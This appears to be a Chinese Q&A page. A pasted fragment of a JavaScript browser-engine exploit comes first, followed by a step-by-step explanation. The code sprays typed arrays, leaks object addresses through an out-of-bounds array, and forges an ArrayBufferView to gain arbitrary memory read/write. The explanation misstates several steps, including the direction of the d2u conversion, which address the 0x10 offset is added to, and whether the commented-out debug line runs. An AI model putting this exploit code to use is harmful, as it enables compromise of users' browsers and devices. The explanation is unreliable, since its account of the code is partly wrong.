var slave = new Uint32Array(0x1000); slave[0] = 0x13371337; // First, leak the address of an array we'll use later for leaking arbitrary JSValues //debug("[*] Leaking address of array for leak primitive..."); var leakTgt = {a: 0, b: 0, c: 0, d: 0}; leakTgt.a = slave; primitiveSpray[leakAndFakePrimIdx][1] = leakTgt; var leakTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2]; var leakTargetAddrInt64 = d2u(leakTargetAddr); // Second, leak the address of an array we'll use for faking an ArrayBufferView via inline properties //debug("[*] Leaking address of fake ArrayBufferView for R/W primitive..."); // Spray arrays for structure id for (var i = 0; i < 0x100; i++) { var a = new Uint32Array(1); a[Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5)] = 1337; structs.push(a); } var rwTgt = {a: 0, b: 0, c: 0, d: 0}; rwTgt.a = u2d(0x00000200, 0x1602300); rwTgt.b = 0; rwTgt.c = slave; rwTgt.d = 0x1337; primitiveSpray[leakAndFakePrimIdx][1] = rwTgt; var rwTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2]; var rwTargetAddrInt64 = d2u(rwTargetAddr); //debug("| [+] R/W Target Address: 0x" + rwTargetAddrInt64.toString(16)); // Address + 0x10 = inline storage, so it will be the address of our fake ArrayBufferView rwTargetAddrInt64 = rwTargetAddrInt64.add32(0x10); // Write this fake object address into oobDoubleArr[leakAndFakeDoubleIdx+2] to retrieve the handle via primitiveSpray oobDoubleArr[leakAndFakeDoubleIdx+2] = u2d(rwTargetAddrInt64.low, rwTargetAddrInt64.hi); var master = primitiveSpray[leakAndFakePrimIdx][1]; var addrOfSlave = new int64(master[4], master[5]); //debug("[*] Setting up primitive functions...");请解释以上代码?
时间: 2024-02-14 17:31:06 浏览: 24
以上代码的目的是设置用于进行原始操作的函数和对象。
1. `var slave = new Uint32Array(0x1000);`:创建一个名为`slave`的`Uint32Array`数组,长度为0x1000(4096)。这个数组将被用作后续的操作。
2. `slave[0] = 0x13371337;`:将`slave`数组的第一个元素设置为0x13371337。
3. 创建泄漏目标对象和泄漏地址:
- 创建了一个名为`leakTgt`的对象,其中包含四个属性`a`、`b`、`c`、`d`,初始值都为0。
- 将`slave`数组赋值给`leakTgt.a`,即将泄漏目标对象的属性`a`设置为`slave`数组。
- 将泄漏目标对象赋值给了`primitiveSpray[leakAndFakePrimIdx][1]`,即将找到的原始对象的属性设置为泄漏目标对象。
- 从`oobDoubleArr[leakAndFakeDoubleIdx+2]`处读取地址,并使用`d2u()`函数将其转换为64位浮点数表示的地址。
4. 创建用于伪造 ArrayBufferView 的目标对象和地址:
- 循环创建`0x100`(256)个数组,并将每个数组的随机属性名设置为1337。这些数组将用于结构ID。
- 创建了一个名为`rwTgt`的对象,其中包含四个属性`a`、`b`、`c`、`d`,初始值都为0。
- 将一个特定的64位浮点数对象(0x00000200, 0x1602300)赋值给`rwTgt.a`。
- 将`slave`数组赋值给`rwTgt.c`,即将目标对象的属性`c`设置为`slave`数组。
- 将目标对象赋值给了`primitiveSpray[leakAndFakePrimIdx][1]`,即将找到的原始对象的属性设置为目标对象。
- 从`oobDoubleArr[leakAndFakeDoubleIdx+2]`处读取地址,并使用`d2u()`函数将其转换为64位浮点数表示的地址。
5. 将泄漏和伪造的地址进行处理:
- 将泄漏地址加上0x10,得到的地址将作为伪造的 ArrayBufferView 的地址。
- 将伪造的 ArrayBufferView 的地址写入到`oobDoubleArr[leakAndFakeDoubleIdx+2]`处,以便通过原始对象访问此地址。
- 从原始对象中获取 `master`,并使用其第4和第5个元素创建一个 `int64` 类型的对象 `addrOfSlave`。
6. `//debug("[*] Setting up primitive functions...");`:调用了一个名为`debug`的函数,输出调试信息。此处输出了一条描述信息,表示正在设置原始操作所需的函数和对象。
根据注释和代码的逻辑,以上代码的目的是创建用于原始操作的对象和地址,并进行相应的设置,为后续的利用提供所需的基础。